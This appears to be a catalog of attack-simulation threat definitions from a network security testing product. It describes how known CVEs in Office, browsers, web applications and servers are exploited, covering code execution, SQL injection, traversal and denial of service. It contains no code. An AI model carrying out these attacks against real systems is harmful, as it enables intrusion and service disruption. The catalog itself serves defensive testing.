Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Word while processing Word 6 files. This vulnerability is due to a specially crafted Sprm record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Word file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0565
Threat Package:	Standard
Threat File Name:	TSL20130402-04_Novell_Messenger_Client_Filename_Parameter_Stack_Buffer_Overflow.xml
Executive Description:	Novell Messenger Client Filename Parameter Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Novell Messenger client. The vulnerability is due to insufficient validation of the filename parameter with an import command. This could result in a stack buffer overflow. A remote attacker can exploit this vulnerability by enticing a user to follow a malicious URL with the nim: protocol. Successful exploitation could result in arbitrary code being executed with the privileges of the currently logged in user.
Protocol Type:	HTTP,HTTPS,SMTP,POP3,POP3S,IMAP,IMAPS
CVEID:	CVE-2013-1085
OSVDB:	91477
Threat File Name:	midicart_sqlinj_IPv6.xml
Executive Description:	MidiCart search_list.php Searchstring Parameter SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query. The query executes against the MidiCart database with the permissions of the MidiCart SQL user. MidiCart is a web application that normally listens on TCP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1503
OSVDB:	16175
Threat Package:	Standard
Threat File Name:	nimda6_IPv6.xml
Executive Description:	Nimda Request URL 6 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150715-01_Adobe_Flash_Player_TextLine_opaqueBackground_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player TextLine opaqueBackground Use After Free IPv6 version
Detailed Description:	A use-after-free vulnerability exists in Adobe Flash Player. The vulnerability is due a dangling reference when handling the opaqueBackground property of a TextLine object. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS.IPV6
CVEID:	CVE-2015-5122
Threat File Name:	cmscout_sqli_IPv6.xml
Executive Description:	CMScout <= 1.23 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. CMScout is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081014-25_Microsoft_Windows_SMB_Search_Request_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SMB Search Request Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows SMB services. The flaw is due to insufficient input validation when handling file names. Remote authenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges.
Protocol Type:	MICROSOFT-DS
CVEID:	CVE-2008-4038
Threat Package:	Standard
Threat File Name:	BEAWeblogic_XSS_IPv6.xml
Executive Description:	BEA Weblogic XSS (IPv6 Version)
Detailed Description:	This threat takes advantage of a Cross-Site Scripting attack on BEA's Weblogic Administration Console. This can be used for stealing cookies and authentication information. The BEA Administration Console typically listens on port 8001. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2005-1380
OSVDB:	15895
Threat Package:	Standard
Threat File Name:	TSL20161108-02_FreePBX_Framework_hotelwakeup_Module_Directory_Traversal_IPv6.xml
Executive Description:	FreePBX Framework hotelwakeup Module Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in FreePBX. The vulnerability is due to an input validation issue in the hotelwakeup module. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted requests to the page. Successful exploitation could lead to arbitrary command execution on the server under the security context of the asterisk user.
Protocol Type:	HTTP, HTTPS, IPv6
Threat File Name:	jaf_cms_rfi_IPv6.xml
Executive Description:	JAF CMS Remote file include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. JAF CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090428-01_Adobe_Reader_JavaScript_getAnnots_Method_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Reader JavaScript getAnnots Method Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation in the implementation of the getAnnots JavaScript method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious PDF file. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	siplwsuri.xml
Executive Description:	SIPPING: Illegal LWS in Request-URI
Detailed Description:	This threat sends out a SIP INVITE message with a malformed Request-URI containing an illegal LWS. Because it is unexpected it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040922-01_PHP_Arbitrary_File_Location_Upload_Vulnerability.xml
Executive Description:	PHP Arbitrary File Location Upload Vulnerability
Detailed Description:	A vulnerability exists in PHP's handling of the Content-Disposition MIME header. An attacker could control the location of an uploaded file by supplying an arbitrary file name and path through this header. It is possible to exploit this vulnerability and upload a malicious file to an arbitrary location on the vulnerable system, possibly leading to arbitrary code execution.
Protocol Type:	HTTP
CVEID:	CVE-2004-0959
Threat Package:	Standard
Threat File Name:	ms-921365.xml
Executive Description:	Microsoft Excel Unspecified Remote Code Execution Exploit
Detailed Description:	This server based threat delivers the unspecified excel remote execution flaw specified in microsoft advisory 921365. This malicious Excel file is delivered via HTTP which is typically carried over port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3059
Threat Package:	Standard
Threat File Name:	FSC20091210-07_HP_OpenView_Network_Node_Manager_ovwebsnmprsv.exe_OVwSelection_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovwebsnmprsv.exe OVwSelection Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM) program ovwebsnmprsv.exe. The vulnerability is due to a boundary error when handling HTTP requests sent to the jovgraph.exe CGI application. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4181
Threat Package:	Standard
Threat File Name:	FSC20040729-01_Check_Point_VPN-1_ASN.1_Decoding_Heap_Overflow_IPv6.xml
Executive Description:	Check Point VPN-1 ASN.1 Decoding Heap Overflow (IPv6 Version)
Detailed Description:	There exists a vulnerability in the way Check Point VPN-1 handles the negotiation of a VPN tunnel with a remote client. It is possible for a malicious client to craft a malformed packet designed to generate a memory write violation on the remote server. A successful attack would cause restart of the VPN process on the Checkpoint firewall. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2004-0699
Threat Package:	Standard
Threat File Name:	efs_ftp_bof_IPv6.xml
Executive Description:	Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit (Win2K SP4) (IPv6 Version)
Detailed Description:	This threat uses a long PASS option to cause a buffer overflow in Easy File Sharing FTP, leading to arbitrary code execution. Easy File Sharing FTP is a server application that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-3952
Threat Package:	Standard

Threat File Name:	TSL20140612-01_Microsoft_Internet_Explorer_CVE-2014-1804_CBlockContainerBlock_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1804 CBlockContainerBlock Use After Free(IPv6 Version)
Detailed Description:	A use after free vulnerability exists in Internet Explorer. The vulnerability is due to accessing a freed CBlockContainerBlock object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2014-1804
OSVDB:	107878
Threat File Name:	NCTAudioFile2_sof.xml
Executive Description:	NCTsoft Products NCTAudioFile2 ActiveX Control Buffer Overflow
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioFile ActiveX application, this threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0018
Threat Package:	Standard
Threat File Name:	FSC20080303-06_ClamAV_libclamav_PE_File_Handling_Integer_Overflow.xml
Executive Description:	ClamAV libclamav PE File Handling Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted PE files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning service resulting in injection and execution of arbitrary code.
Protocol Type:	HTTP
CVEID:	CVE-2008-0318
Threat Package:	Standard
Threat File Name:	TSL20120113-04_HP_Easy_Printer_Care_ActiveX_Control_Directory_Traversal.xml
Executive Description:	HP Easy Printer Care ActiveX Control Directory Traversal
Detailed Description:	A directory traversal vulnerability has been discovered in the XMLCacheMgr class ActiveX control, which is a component of HP Easy Printer Care. The vulnerability can be triggered by passing malicious parameters to the <code><italic>CacheDocumentXMLWithId()</code> method. A remote attacker could exploit this vulnerability by enticing a target user to visit a malicious web page. A successful attack would result in execution of arbitrary attacker code in the security context of the current user running the browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-4786
Threat File Name:	TSL20130212-12_Microsoft_Internet_Explorer_vtable_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer vtable Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free). A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0021
OSVDB:	90118
Threat File Name:	TSL20130506-14_ClamAV_Encrypted_PDF_File_Handling_Memory_Access_Error_IPv6.xml
Executive Description:	ClamAV Encrypted PDF File Handling Memory Access Error [IPv6, Version]
Detailed Description:	A memory access error exists in ClamAV antivirus. The vulnerability is due to a PDF key length computation error in "pdf.c" while parsing crafted encrypted PDF files. A remote attacker could exploit this vulnerability by causing ClamAV to process a specially crafted PDF file. Successful exploitation would terminate the clamd service resulting in a denial of service condition.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
CVEID:	CVE-2013-2021
OSVDB:	92835
Threat File Name:	MS_SMS_DoS_IPv6.xml
Executive Description:	Microsoft SMS Denial of Service (IPv6 Version)
Detailed Description:	This threat is executed by sending this crafted packet to port 2702 which will result in the SMS client to throw an exception and crash. (IPv6 Version)
Protocol Type:	SMS/IPv6
CVEID:	CVE-2004-0728
OSVDB:	8243
Threat Package:	Standard
Threat File Name:	subscribe_me_trav.xml
Executive Description:	Subscribe Me Pro Directory Traversal
Detailed Description:	This threat sends a request for the file /etc/passwd through an unsanitized parameter to a web application. This web application will display the contents of the file to the attacker, allowing for further exploitation. Subscribe Me is a web application and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2952
OSVDB:	19380
Threat Package:	Standard
Threat File Name:	ms_windows_help_bof.xml
Executive Description:	Microsoft Windows Help File Unspecified Heap Overflow Vulnerability
Detailed Description:	This threat uses a malformed Windows Help (.hlp) file that when accessed by a user results in a heap overflow condition. Microsoft Windows is a client Operating System and the .hlp file is delivered via emulated web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140924-07_GNU_Bash_Environment_Variable_Handling_Command_Execution.xml

Executive Description:	GNU Bash Environment Variable Handling Command Execution
Detailed Description:	A command execution vulnerability exists in GNU Bash. The vulnerability is due to a failure in handling environment variables. A remote attacker can exploit this vulnerability by interacting with an application that uses Bash environment variables. If an attacker can control the value of an environment variable, then command execution can be achieved in the context of the application using the environment variable.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-6271
OSVDB:	112004
Threat File Name:	TSL20110915-01_Microsoft_Office_Excel_Conditional_Expression_Code_Execution.xml
Executive Description:	Microsoft Office Excel Conditional Expression Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to an error while parsing conditional expression information in Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1989
Threat File Name:	TSL20110513-02_Adobe_Audition_Session_File_TRKM_Stack_Buffer_Overflow.xml
Executive Description:	Adobe Audition Session File TRKM Stack Buffer Overflow
Detailed Description:	A code execution vulnerability has been identified in Adobe Audition. The vulnerability is due to insufficient validation of Audition Session (.ses) files. By enticing a user to download and process a specially crafted file with an affected version of the application, a remote attacker can exploit this vulnerability to execute arbitrary code under the context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0615
Threat File Name:	TSL20161230-08_PHPMailer_mail_escapeshellarg_Command_Injection.xml
Executive Description:	PHPMailer mail escapeshellarg Command Injection
Detailed Description:	A command injection vulnerability has been reported in the PHPMailer library package. The vulnerability is due to improper usage of the escapeshellarg() function to validate a parameter sent to the mail() function. A remote, unauthenticated attacker could exploit this vulnerability by supplying maliciously crafted data to the PHPMailer class to send email. Successful exploitation results in arbitrary command execution on the target server with the privileges of the web service.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-10045
Threat File Name:	TSL20120927-01_Novell_GroupWise_HTTP_Interfaces_Arbitrary_File_Retrieval.xml
Executive Description:	Novell GroupWise HTTP Interfaces Arbitrary File Retrieval
Detailed Description:	A directory traversal vulnerability exists in the HTTP interfaces of Novell GroupWise Post Office Agent, Message Transfer Agent and Internet Agent. The vulnerability is due to a failure to sanitize the request URI for directory traversal characters. A remote unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP requests to a vulnerable interface. Successful exploitation allows an attacker to retrieve arbitrary files with the permissions of the GroupWise agents, normally System on Windows platforms.
Protocol Type:	HTTP
CVEID:	CVE-2012-0419
OSVDB:	85801
Threat File Name:	esyndicat_news_sqli_IPv6.xml
Executive Description:	eSyndiCat (news.php) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. eSyndiCat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	3cdaemon_dos_IPv6.xml
Executive Description:	3Com TFTP 3CDaemon Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a TFTP request of get prn known to cause a crash in 3CDaemon TFTP server. TFTP servers typically listen on port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2005-0275
OSVDB:	12808
Threat Package:	Standard
Threat File Name:	TSL20160722-05_PHP_exif_process_user_comment_Null_Pointer_Dereference_IPv6.xml
Executive Description:	PHP exif_process_user_comment Null Pointer Dereference (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in the Exif module of PHP. The vulnerability is due to a null pointer dereference in exif_process_user_comment when trying to handle JIS encoded user comment Exif tags when multi-byte string support is enabled in PHP. A remote, unauthenticated attacker can exploit this vulnerability by having the target PHP application process Exif data on a maliciously crafted image. Successful exploitation would cause the PHP interpreter to crash, leading to a denial of service condition.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-6292
Threat File Name:	FSC20080812-07_Microsoft_Internet_Explorer_Print_Preview_Handling_Command_Execution.xml
Executive Description:	Microsoft Internet Explorer Print Preview Handling Command Execution
Detailed Description:	There exists a command execution vulnerability in Microsoft Internet Explorer. The vulnerability is due to improper security enforcement in the implementation of Print Preview. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary commands on the vulnerable client system, in the context of the currently logged on user.

Protocol Type:	HTTP
CVEID:	CVE-2008-2259
Threat Package:	Standard
Threat File Name:	TSL20161212-04_Google_Chrome_Blink_ImageBitmap_Integer_Overflow.xml
Executive Description:	Google Chrome Blink ImageBitmap Integer Overflow
Detailed Description:	A heap overflow vulnerability exists in Google Chrome Blink. The vulnerability is due to an integer overflow in ImageBitmap::ImageBitmap function while processing an HTML file with an overly large width and height arguments of createImageBitmap method. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted HTML file. Successful exploitation of the vulnerability can possibly lead to remote code execution.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-5182
Threat File Name:	TSL20120117-05_IBM_SPSS_VsVIEW6_ocx_ActiveX_control_Code_Execution_IPv6.xml
Executive Description:	IBM SPSS VsVIEW6.ocx ActiveX control Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in the VsVIEW6.ocx ActiveX control, which is shipped as part of IBM SPSS SamplePower. The method SaveDoc() contains a flaw that could lead to injection and execution of arbitrary code. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious website which can result in the execution of arbitrary code within the context of the target user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-0189
Threat File Name:	FSC20070710-14_Microsoft_Excel_rtWindow1_Record_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel rtWindow1 Record Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel handles XLS files that contain invalid values within the rtWindow1 records. A remote attacker can exploit this vulnerability by persuading a target user to open a specially crafted XLS file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3029
Threat Package:	Standard
Threat File Name:	veritas_netbackup_sof.xml
Executive Description:	Veritas NetBackup Stack Overflow
Detailed Description:	This threat sends a malicious packet to the NetBackup daemon leading to a stack overflow. NetBackup is an ftp server that typically listens on port 13701.
Protocol Type:	Proprietary
CVEID:	CVE-2005-3116
OSVDB:	20674
Threat File Name:	FSC20100309-03_Microsoft_Internet_Explorer_Invalid_Pointer_Remote_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer Invalid Pointer Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an invalid pointer being used after an object is deleted. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target machine by enticing a user to open a specially crafted HTML document. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, and run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0806
Threat Package:	Standard
Threat File Name:	TSL20151005-02_ManageEngine_ServiceDesk_FileDownload_jsp_fName_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine ServiceDesk FileDownload.jsp fName Directory Traversal(IPV6 version)
Detailed Description:	A directory traversal vulnerability has been reported in ManageEngine ServiceDesk. The vulnerability is due to the software incorrectly validating the fName parameter when handling requests sent to FileDownload.jsp.A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2015-3105
Threat File Name:	netvault.xml
Executive Description:	BakBone NetVault Remote Heap Overflow Attack
Detailed Description:	This threat attempts to cause a heap overflow to gain access to a computer running the NetVault backup utility. NetVault listens on port 20031. This threat assumes that the computer name is COMPUTERNAME, and the virtual server replies as such. This threat is a client attack that comes from the virtual server.
Protocol Type:	Proprietary
CVEID:	CVE-2005-1547
OSVDB:	16602
Threat Package:	Standard
Threat File Name:	TSL20120612-20_Microsoft_Internet_Explorer_Row_Insertion_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Internet Explorer Row Insertion Memory Corruption(IPV6 Version)
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to memory corruption when specific modifications to TABLE elements occur. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer, or a Microsoft Office document with an embedded "safe for initialization" ActiveX component that hosts the IE rendering engine. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-1880
OSVDB:	82870

Threat File Name:	TSL20110526-04_Google_Chrome_Stale_Pointer_in_Floats_Rendering_Memory_Corruption_IPv6.xml
Executive Description:	Google Chrome Stale Pointer in Floats Rendering Memory Corruption(IPv6 Version)
Detailed Description:	A vulnerability has been identified in Google Chrome. This vulnerability is due to the use of a stale pointer in rendering floats. A remote attacker may exploit this vulnerability by enticing a target user to view a malicious web page. Successful exploitation of this vulnerability could result in the execution of arbitrary code in the security context of the user. An unsuccessful attack may result in abnormal termination of the software.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1804
Threat File Name:	Irayoblog_rfi.xml
Executive Description:	IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. IrayoBlog is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-5849
Threat Package:	Standard
Threat File Name:	pegasus_activex_bof_IPv6.xml
Executive Description:	Pegasus ImagN ActiveX Control IMW32040.OCX Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Pegasus ImagN ActiveX application, resulting in the overwritingof arbitrary files. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2814
Threat Package:	Standard
Threat File Name:	TSL20161206-01_Apache_HTTP_Server_mod_http2_Module_Denial_of_Service.xml
Executive Description:	Apache HTTP Server mod_http2 Module Denial of Service
Detailed Description:	A denial of service vulnerability exists in Apache HTTP server. The vulnerability is due to the improper validation checks of a request header size when HTTP/2 protocol is used to access a resource. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP/2 request with headers larger than the server's available memory. Successful exploitation would use up all the available memory on the server, resulting in a denial of service condition on the target.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8740
Threat File Name:	FSC20110128-01_Realplayer_vidplin_dll_AVI_Header_Parsing_Code_Execution_IPv6.xml
Executive Description:	Realplayer vidplin.dll AVI Header Parsing Code Execution(IPv6 Version)
Detailed Description:	A vulnerability has been reported in RealNetworks's Realplayer. The vulnerability is due to a claimed buffer overflow within vidplin.dll while parsing stream headers is an AVI file. Reportedly user supplied data is copied into a buffer without verifying the length of the buffer leading to a buffer overflow. An attacker can exploit this vulnerability by enticing a user to download and open a specially crafted file. This can reportedly lead to code execution in the context of the affected application. Note that TELUS Security Labs could not confirm the heap based buffer overflow and according to the findings the vulnerability appears to be a client DoS
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-4393
Threat File Name:	FSC20080512-12_OpenOffice_EMF_File_EMR_BITBLT_Record_Integer_Overflow_IPv6.xml
Executive Description:	OpenOffice EMF File EMR_BITBLT Record Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice parses EMF images. A remote attacker could exploit this vulnerability by persuading a user to open a malicious EMF file, potentially causing arbitrary code to be injected and executed on the target system in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5746
Threat Package:	Standard
Threat File Name:	TSL20131212-05 EMC_CMCNE_http-file-upload_war_FileUploadController_Arbitrary_File_Upload.xml
Executive Description:	EMC CMCNE http-file-upload.war FileUploadController Arbitrary File Upload
Detailed Description:	A code execution vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the FileUploadController servlet of http-file-upload.war when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
OSVDB:	101195
Threat File Name:	sphider_rfi.xml
Executive Description:	Sphider Index.PHP Remote File Include Vulnerability
Detailed Description:	This threat demonstrates a standard remote script file inclusion flaw, this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	breed_IPv6.xml
Executive Description:	Breed Empty UDP Denial of Service (IPv6 Version)
Detailed Description:	This threat causes a crash in the server portion of the video game "Breed". This is done by sending an empty UDP packet to port 7649. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0382
OSVDB:	12897
Threat Package:	Standard
Threat File Name:	rwauction_xss.xml

Executive Description:	RWAuction Pro Search.ASP Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains Javascript or HTML to be included in the returned page. RWAuction an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-4060
OSVDB:	21475
Threat File Name:	FSC20081002-06_Mozilla_Firefox_Animated_PNG_Processing_Integer_Overflow.xml
Executive Description:	Mozilla Firefox Animated PNG Processing Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in Mozilla Firefox. The flaw is due to integer overflow when processing animated PNG image files. A remote attacker may exploit this vulnerability by persuading the target user to open a malicious web page. Successful attack could allow for arbitrary code injection and execution with privileges of the currently logged on user. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious PNG file.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-4064
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToPUT_IPv6.xml
Executive Description:	Fuzz HTTP PUT appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appended by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	twilightwebserver_dos.xml
Executive Description:	Twilight Webserver 1.3.3.0 (GET) Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a unusually large GET request to cause a denial of service condition in a Twilight Webserver. Twilight Webserver is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120124-05_Oracle_Outside_In_OOXML_Relationship_Tag_Parsing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In OOXML Relationship Tag Parsing Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability has been reported in the Oracle Outside In OOXML component. The vulnerability is due to an input validation error in scfcut.dll while parsing Relationship tags in OOXML documents. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open an OOXML document with an affected application. This can cause a stack buffer overflow, resulting in arbitrary code execution in the context of the affected application. If code execution is unsuccessful, the affected application may terminate unexpectedly
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,NFS
Threat File Name:	bind_bof_IPv6.xml
Executive Description:	ISC Bind 8 Transaction Signatures Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in the BIND TSIG handling code which allows a remote attacker to gain root privileges. BIND is a DNS server which listens on port 53. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2001-0010
OSVDB:	14795
Threat Package:	Standard
Threat File Name:	FSC20080815-11_Linux_Kernel_DCCP_Protocol_Handler_dccp_setsockopt_change_Integer_Ove.xml
Executive Description:	Linux Kernel DCCP Protocol Handler dccp_setsockopt_change Integer Overflow
Detailed Description:	There exists an integer overflow vulnerability in the Datagram Congestion Control Protocol (DCCP) stack in Linux kernel. The flaw is due to lack of data validation when parsing DCCP datagrams. An unauthenticated remote attacker may leverage this vulnerability to raise a denial of service condition on the target system.
Protocol Type:	IP
CVEID:	CVE-2008-3276
Threat Package:	Standard
Threat File Name:	ICMPpSmashDoS.xml
Executive Description:	ICMP p-smash Flood
Detailed Description:	This threat floods the targeted remote machine with ICMP type 9 messages causing the machine to crash resulting in a denial of service for all legitimate users.
Protocol Type:	ICMP
CVEID:	CVE-2000-0568
OSVDB:	1439
Threat Package:	Standard
Threat File Name:	x86NOOPtcp5_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 5 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	MS02-012.xml
Executive Description:	Microsoft MSSMTP MS02-012 Denial Of Service
